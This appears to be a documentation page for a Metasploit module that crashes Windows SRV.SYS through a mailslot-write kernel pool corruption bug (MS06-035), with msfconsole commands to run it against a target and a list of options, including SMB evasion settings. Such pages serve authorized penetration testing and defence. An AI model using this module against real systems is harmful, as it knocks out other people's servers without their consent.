Microsoft SRV.SYS Mailslot Write Corruption

This module triggers a kernel pool corruption bug in SRV.SYS. Each call to the mailslot write function results in a two byte return value being written into the response packet. The code which creates this packet fails to consider these two bytes in the allocation routine, resulting in a slow corruption of the kernel memory pool. These two bytes are almost always set to "\xff\xff" (a short integer with value of -1).

Search Other Modules

Rank

Normal

Authors

hdm < hdm [at] metasploit.com >

Vulnerability References

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use auxiliary/dos/windows/smb/ms06_035_mailslot
msf auxiliary(ms06_035_mailslot) > set RHOST [TARGET IP]
msf auxiliary(ms06_035_mailslot) > run

Module Options

MAILSLOT	The mailslot name to use (default: Alerter)
RHOST	The target address
RPORT	Set the SMB service port (default: 445)
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
NTLM::SendLM	Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM	Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN	Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey	Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session	Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2	Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies	Use a proxy chain
SMB::ChunkSize	The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM	The Native LM to send during authentication
SMB::Native_OS	The Native OS to send during authentication
SMB::VerifySignature	Enforces client-side verification of server response signatures
SMBDirect	The target port is a raw SMB service (not NetBIOS)
SMBDomain	The Windows domain to use for authentication
SMBName	The NetBIOS hostname (required for port 139 connections)
SMBPass	The password for the specified username
SMBUser	The username to authenticate as
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
SMB::obscure_trans_pipe_level	Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level	Place extra padding between headers and data (level 0-3)
SMB::pad_file_level	Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion	Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size	Maximum buffer size for pipe reads
SMB::pipe_read_min_size	Minimum buffer size for pipe reads
SMB::pipe_write_max_size	Maximum buffer size for pipe writes
SMB::pipe_write_min_size	Minimum buffer size for pipe writes
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)